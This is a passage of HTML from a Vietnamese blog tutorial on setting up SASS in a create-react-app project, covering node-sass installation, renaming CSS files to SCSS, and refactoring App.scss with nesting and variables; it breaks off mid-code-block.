url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABN0lEQVQoz42Q207CQBCG+/6voTHGCy+IXKGtJFSISQPGiCjFpMfdOe2WygOYpRSocMGXySQ7mX//mfH4CNzGeYgOucU7flQuSM5ppTKMxExMJ2JxZX5R1UhVGbFh7lgYUfOfbPxRzpayth0xset+0/Y621ylm1BVjVi2sAgWOhu9F9FX4k/1Mtl/vHM2zN9o7rLf22wz1VYI13UdRVEYhvW6JuE0mMU3z6v7MH+dkwKW7tjMtADzCUa51UhEyrIsisKZM5ezJSYFM4k15w4mLEzNQo1gN3a7NhIBwPHBPREBgOFw6Pv+YPD45PvjyaTX68VxbK2lLdbaVRz3H/pBECDiP2fRWiulAKDJeZ4DwMF2P1y34rkxyPUZY5rccKo8xRMEW6YEChABAFv4AjwmFFCMQF0uEf8BmL6MK9IF+JYAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Create react app và SASS" title="Create react app và SASS" src="/static/7af087137323a6e5bd224b5122d9cb12/7c811/su-dung-sass-voi-create-react-app-completejavascript.com.png" srcset="/static/7af087137323a6e5bd224b5122d9cb12/103f2/su-dung-sass-voi-create-react-app-completejavascript.com.png 165w, /static/7af087137323a6e5bd224b5122d9cb12/748ba/su-dung-sass-voi-create-react-app-completejavascript.com.png 330w, /static/7af087137323a6e5bd224b5122d9cb12/7c811/su-dung-sass-voi-create-react-app-completejavascript.com.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="tại-sao-lại-là-sass-và-create-react-app" style="position:relative;"><a href="#t%E1%BA%A1i-sao-l%E1%BA%A1i-l%C3%A0-sass-v%C3%A0-create-react-app" aria-label="tại sao lại là sass và create react app permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao lại là SASS và create-react-app?</h2> <p>Mình lựa chọn SASS vì những lý do sau:</p> <ul> <li>SASS hoàn toàn tương thích với CSS: nghĩa là bạn hoàn toàn có thể bê nguyên code CSS vào SASS mà không cần phải chỉnh sửa gì cả.</li> <li>SASS có cú pháp tương tự như CSS cộng thêm các tính năng mở rộng như: hỗ trợ khai báo <strong>variables</strong> giúp việc update chỉnh sửa code nhanh hơn; hỗ trợ <strong>nesting</strong> giúp code ngắn gọn hơn,...</li> </ul> <p>Và còn nhiều tính năng thú vị khác của SASS nữa mà bạn có thể tham khảo trên <a href="https://sass-lang.com/">trang chủ SASS</a>.</p> <p>Tiếp theo là <strong>create-react-app</strong>.</p> <p>Đúng vậy, nếu bạn đã theo dõi blog của mình thì sẽ thấy các ứng dụng, ví dụ đều sử dụng <a href="/tag/create-react-app/">create-react-app</a>. Bởi lẽ, create-react-app có ưu điểm là cài đặt đơn giản và nhanh chóng.</p> <p>Chỉ cần một câu lệnh <code>npx create-react-app app-name</code> mà không cần phải cấu hình gì thêm, bạn đã có đầy đủ các công cụ mới nhất để tập trung vào việc coding rồi.</p> <p>Thêm nữa, create-react-app v2 trở đi đã hỗ trợ việc cấu hình cho SASS, nên việc cài đặt SASS lại càng trở nên vô cùng đơn giản.</p> <h2 id="sử-dụng-sass-với-create-react-app" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-sass-v%E1%BB%9Bi-create-react-app" aria-label="sử dụng sass với create react app permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng SASS với create-react-app</h2> <p>Dĩ nhiên, để có thể bắt đầu code được với React thì bạn phải cài đặt môi trường với Node.js, yarn hoặc npm và một editor (khuyên dùng) như Visual Studio Code.</p> <p>Bạn có thể xem lại bài viết <a href="/deploy-ung-dung-react-len-github-pages/">tạo và deploy ứng dụng React lên Github Pages</a> của mình để biết cách cài đặt đầy đủ môi trường trước khi bắt đầu sử dụng SASS với create-react-app nhé.</p> <p>Sau khi cài đặt xong, bạn tạo mới React app bằng câu lệnh:</p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">npx create-react-app app-name</code></pre></div> <p>Trong đó, <strong>app-name</strong> là tên project của bạn.</p> <a href="https://github.com/completejavascript/react-app-template/tree/01-add-sass" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <p>Bây giờ, bạn mở file <strong>package.json</strong> ra để kiểm tra xem version của react-scripts là bao nhiêu. Ví dụ của mình là 3.3.0 - vesion mới nhất hiện tại.</p> <p>Nếu version của bạn đang là 1.x.x thì hãy sửa lại giống mình rồi chạy lại lệnh <code>yarn</code> hoặc <code>npm install</code> để cập nhật lên phiên bản mới nhất của create-react-app.</p> <p>Tiếp theo, bạn cần cài đặt module <a href="https://www.npmjs.com/package/node-sass">node-sass</a>:</p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell"><span class="token function">yarn</span> <span class="token function">add</span> node-sass</code></pre></div> <p>Sau khi cài đặt xong, bạn đổi toàn bộ file <strong>.css</strong> thành <strong>.scss</strong> để có thể bắt đầu sử dụng SCSS. Với project mới tạo, bạn có 2 file cần sửa là App.css và index.css. Rồi thay đổi phần import tương ứng trong file App.js và index.js.</p> <div class="gatsby-code-title gatsby-remark-code-title">App.js</div> <div class="gatsby-highlight" data-language="diff"><pre class="language-diff"><code class="language-diff"><span class="token deleted-sign deleted"><span class="token prefix deleted">-</span> import "./App.css"; </span><span class="token inserted-sign inserted"><span class="token prefix inserted">+</span> import "./App.scss";</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">index.js</div> <div class="gatsby-highlight" data-language="diff"><pre class="language-diff"><code class="language-diff"><span class="token deleted-sign deleted"><span class="token prefix deleted">-</span> import "./index.css"; </span><span class="token inserted-sign inserted"><span class="token prefix inserted">+</span> import "./index.scss";</span></code></pre></div> <p>Cuối cùng, chạy <code>yarn start</code> để khởi tạo môi trường DEV xem có lỗi gì không nhé. Nếu không có lỗi xảy ra thì nghĩa là bạn có thể sử dụng SASS với create-react-app được rồi.</p> <p>Tuy nhiên, mình mới chỉ đổi tên file từ <strong>.css</strong> thành <strong>.scss</strong> chứ chưa áp dụng cú pháp nào của SASS để thay thế cho CSS.</p> <h2 id="áp-dụng-cú-pháp-của-sass" style="position:relative;"><a href="#%C3%A1p-d%E1%BB%A5ng-c%C3%BA-ph%C3%A1p-c%E1%BB%A7a-sass" aria-label="áp dụng cú pháp của sass permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Áp dụng cú pháp của SASS</h2> <h3 id="cơ-bản-về-2-loại-cú-pháp-sass" style="position:relative;"><a href="#c%C6%A1-b%E1%BA%A3n-v%E1%BB%81-2-lo%E1%BA%A1i-c%C3%BA-ph%C3%A1p-sass" aria-label="cơ bản về 2 loại cú pháp sass permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cơ bản về 2 loại cú pháp SASS</h3> <p>Thực ra SASS có 2 cách viết là: SCSS và Sass.</p> <p>Ví dụ về SCSS - sử dụng dấu ngoặc nhọn để chứa block và dùng dấu chấm phẩy để ngắt dòng:</p> <div class="gatsby-highlight" data-language="scss"><pre class="language-scss"><code class="language-scss"><span class="token property"><span class="token variable">$font-stack</span></span><span class="token punctuation">:</span> Helvetica<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token property"><span class="token variable">$primary-color</span></span><span class="token punctuation">:</span> #333<span class="token punctuation">;</span> <span class="token selector">body </span><span class="token punctuation">{</span> <span class="token property">font</span><span class="token punctuation">:</span> 100% <span class="token variable">$font-stack</span><span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> <span class="token variable">$primary-color</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Ví dụ tương ứng với Sass - sử dụng dấu cách hoặc tab (thụt lề) để tạo block, xuống dòng để ngắt dòng:</p> <div class="gatsby-highlight" data-language="scss"><pre class="language-scss"><code class="language-scss"><span class="token property"><span class="token variable">$font-stack</span></span><span class="token punctuation">:</span> Helvetica<span class="token punctuation">,</span> sans-serif <span class="token property"><span class="token variable">$primary-color</span></span><span class="token punctuation">:</span> #333 body <span class="token property">font</span><span class="token punctuation">:</span> 100% <span class="token variable">$font-stack</span> <span class="token property">color</span><span class="token punctuation">:</span> <span class="token variable">$primary-color</span></code></pre></div> <p>Bạn có thể viết bằng cách SCSS hoặc Sass tùy thích. Tuy nhiên, mình sẽ chỉ sử dụng SCSS vì cách viết của SCSS giống với CSS hơn.</p> <h3 id="sử-dụng-sass-cơ-bản-với-app-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-sass-c%C6%A1-b%E1%BA%A3n-v%E1%BB%9Bi-app-component" aria-label="sử dụng sass cơ bản với app component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng SASS cơ bản với App component</h3> <p>Đây là code mặc định:</p> <div class="gatsby-code-title gatsby-remark-code-title">App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">function</span> <span class="token function">App</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>header</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App-header<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>logo<span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App-logo<span class="token punctuation">"</span></span> <span class="token attr-name">alt</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>logo<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> Edit </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>code</span><span class="token punctuation">></span></span><span class="token plain-text">src/App.js</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>code</span><span class="token punctuation">></span></span><span class="token plain-text"> and save to reload. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App-link<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://reactjs.org<span class="token punctuation">"</span></span> <span class="token attr-name">target</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>_blank<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>noopener noreferrer<span class="token punctuation">"</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> Learn React </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>header</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App-logo</span> <span class="token punctuation">{</span> <span class="token property">height</span><span class="token punctuation">:</span> 40vmin<span class="token punctuation">;</span> <span class="token property">pointer-events</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@media</span> <span class="token punctuation">(</span><span class="token property">prefers-reduced-motion</span><span class="token punctuation">:</span> no-preference<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.App-logo</span> <span class="token punctuation">{</span> <span class="token property">animation</span><span class="token punctuation">:</span> App-logo-spin infinite 20s linear<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token selector">.App-header</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #282c34<span class="token punctuation">;</span> <span class="token property">min-height</span><span class="token punctuation">:</span> 100vh<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">flex-direction</span><span class="token punctuation">:</span> column<span class="token punctuation">;</span> <span class="token property">align-items</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">justify-content</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> <span class="token function">calc</span><span class="token punctuation">(</span>10px + 2vmin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> white<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App-link</span> <span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #61dafb<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@keyframes</span> App-logo-spin</span> <span class="token punctuation">{</span> <span class="token selector">from</span> <span class="token punctuation">{</span> <span class="token property">transform</span><span class="token punctuation">:</span> <span class="token function">rotate</span><span class="token punctuation">(</span>0deg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">to</span> <span class="token punctuation">{</span> <span class="token property">transform</span><span class="token punctuation">:</span> <span class="token function">rotate</span><span class="token punctuation">(</span>360deg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Ở đây, bạn để ý className của các phần tử luôn bắt đầu bằng tiền tố <em>App-</em>. Cách này có ưu điểm là: khi viết CSS, bạn không cần phải <strong>nesting class</strong> mà vẫn đảm bảo không bị xung đột với tên class của các component khác.</p> <p>Tuy nhiên, mình sẽ không sử dụng tiền tố này nữa, nên App.js và App.scss trở thành:</p> <div class="gatsby-code-title gatsby-remark-code-title">App.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">App</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"App"</span><span class="token operator">></span> <span class="token operator">&lt;</span>header className<span class="token operator">=</span><span class="token string">"header"</span><span class="token operator">></span> <span class="token operator">&lt;</span>img src<span class="token operator">=</span><span class="token punctuation">{</span>logo<span class="token punctuation">}</span> className<span class="token operator">=</span><span class="token string">"logo"</span> alt<span class="token operator">=</span><span class="token string">"logo"</span> <span class="token operator">/</span><span class="token operator">></span> <span class="token operator">&lt;</span>p<span class="token operator">></span> Edit <span class="token operator">&lt;</span>code<span class="token operator">></span>src<span class="token operator">/</span>App<span class="token punctuation">.</span>js<span class="token operator">&lt;</span><span class="token operator">/</span>code<span class="token operator">></span> and save to reload<span class="token punctuation">.</span> <span class="token operator">&lt;</span><span class="token operator">/</span>p<span class="token operator">></span> <span class="token operator">&lt;</span>a className<span class="token operator">=</span><span class="token string">"link"</span> href<span class="token operator">=</span><span class="token string">"https://reactjs.org"</span> target<span class="token operator">=</span><span class="token string">"_blank"</span> rel<span class="token operator">=</span><span class="token string">"noopener noreferrer"</span> <span class="token operator">></span> Learn React <span class="token operator">&lt;</span><span class="token operator">/</span>a<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>header<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">App.scss</div> <div class="gatsby-highlight" data-language="scss"><pre class="language-scss"><code class="language-scss"><span class="token selector">.App </span><span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.logo </span><span class="token punctuation">{</span> <span class="token property">height</span><span class="token punctuation">:</span> 40vmin<span class="token punctuation">;</span> <span class="token property">pointer-events</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@media</span> <span class="token punctuation">(</span><span class="token property">prefers-reduced-motion</span><span class="token punctuation">:</span> no-preference<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.logo </span><span class="token punctuation">{</span> <span class="token property">animation</span><span class="token punctuation">:</span> App-logo-spin infinite 20s linear<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token selector">.header </span><span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #282c34<span class="token punctuation">;</span> <span class="token property">min-height</span><span class="token punctuation">:</span> 100vh<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">flex-direction</span><span class="token punctuation">:</span> column<span class="token punctuation">;</span> <span class="token property">align-items</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">justify-content</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> <span class="token function">calc</span><span class="token punctuation">(</span>10px <span class="token operator">+</span> 2vmin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> white<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.link </span><span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #61dafb<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@keyframes</span> App-logo-spin</span> <span class="token punctuation">{</span> <span class="token keyword">from</span> <span class="token punctuation">{</span> <span class="token property">transform</span><span class="token punctuation">:</span> <span class="token function">rotate</span><span class="token punctuation">(</span>0deg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">to </span><span class="token punctuation">{</span> <span class="token property">transform</span><span class="token punctuation">:</span> <span class="token function">rotate</span><span class="token punctuation">(</span>360deg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Đến đây, mọi thứ vẫn hoạt động bình thường. Nhưng việc bỏ tiền tố <em>App-</em> dẫn tới nguy cơ bị xung đột với className của các component khác sau này. Do đó, mình sẽ sử dụng <strong>nesting</strong> của SASS thì đoạn code trên sẽ trở thành:</p> <div class="gatsby-code-title gatsby-remark-code-title">App.scss</div> <div class="gatsby-highlight" data-language="scss"><pre class="language-scss"><code class="language-scss"><span class="token selector">.App </span><span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token selector">.header </span><span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #282c34<span class="token punctuation">;</span> <span class="token property">min-height</span><span class="token punctuation">:</span> 100vh<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">flex-direction</span><span class="token punctuation">:</span> column<span class="token punctuation">;</span> <span class="token property">align-items</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">justify-content</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> <span class="token function">calc</span><span class="token punctuation">(</span>10px <span class="token operator">+</span> 2vmin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> white<span class="token punctuation">;</span> <span class="token selector">.logo </span><span class="token punctuation">{</span> <span class="token property">height</span><span class="token punctuation">:</span> 40vmin<span class="token punctuation">;</span> <span class="token property">pointer-events</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.link </span><span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #61dafb<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@media</span> <span class="token punctuation">(</span><span class="token property">prefers-reduced-motion</span><span class="token punctuation">:</span> no-preference<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.App </span><span class="token punctuation">{</span> <span class="token selector">.header </span><span class="token punctuation">{</span> <span class="token selector">.logo </span><span class="token punctuation">{</span> <span class="token property">animation</span><span class="token punctuation">:</span> App-logo-spin infinite 20s linear<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@keyframes</span> App-logo-spin</span> <span class="token punctuation">{</span> <span class="token keyword">from</span> <span class="token punctuation">{</span> <span class="token property">transform</span><span class="token punctuation">:</span> <span class="token function">rotate</span><span class="token punctuation">(</span>0deg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">to </span><span class="token punctuation">{</span> <span class="token property">transform</span><span class="token punctuation">:</span> <span class="token function">rotate</span><span class="token punctuation">(</span>360deg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="sử-dụng-variables-với-sass" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-variables-v%E1%BB%9Bi-sass" aria-label="sử dụng variables với sass permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng variables với SASS</h3> <p>Trong phần trên, mình nhận thấy giá trị màu của class <strong>link</strong> chắc chắn sẽ được sử dụng ở nhiều nơi để đảm bảo tính đồng nhất. Vì vậy, mình sẽ sử dụng variables để khai báo nó, như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">App.scss</div> <div class="gatsby-highlight" data-language="scss"><pre class="language-scss"><code class="language-scss"><span class="token comment">// Khai báo</span> <span class="token property"><span class="token variable">$primaryColor</span></span><span class="token punctuation">:</span> #61dafb<span class="token punctuation">;</span> <span class="token selector">.App </span><span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token selector">.header </span><span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #282c34<span class="token punctuation">;</span> <span class="token property">min-height</span><span class="token punctuation">:</span> 100vh<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">flex-direction</span><span class="token punctuation">:</span> column<span class="token punctuation">;</span> <span class="token property">align-items</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">justify-content</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> <span class="token function">calc</span><span class="token punctuation">(</span>10px <span class="token operator">+</span> 2vmin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> white<span class="token punctuation">;</span> <span class="token selector">.logo </span><span class="token punctuation">{</span> <span class="token property">height</span><span class="token punctuation">:</span> 40vmin<span class="token punctuation">;</span> <span class="token property">pointer-events</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.link </span><span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> <span class="token variable">$primaryColor</span><span class="token punctuation">;</span> <span class="token comment">// Sử dụng</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@media</span> <span class="token punctuation">(</span><span class="token property">prefers-reduced-motion</span><span class="token punctuation">:</span> no-preference<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.App </span><span class="token punctuation">{</span> <span class="token selector">.header </span><span class="token punctuation">{</span> <span class="token selector">.logo </span><span class="token punctuation">{</span> <span class="token property">animation</span><span class="token punctuation">:</span> App-logo-spin infinite 20s linear<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@keyframes</span> App-logo-spin</span> <span class="token punctuation">{</span> <span class="token keyword">from</span> <span class="token punctuation">{</span> <span class="token property">transform</span><span class="token punctuation">:</span> <span class="token function">rotate</span><span class="token punctuation">(</span>0deg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">to </span><span class="token punctuation">{</span> <span class="token property">transform</span><span class="token 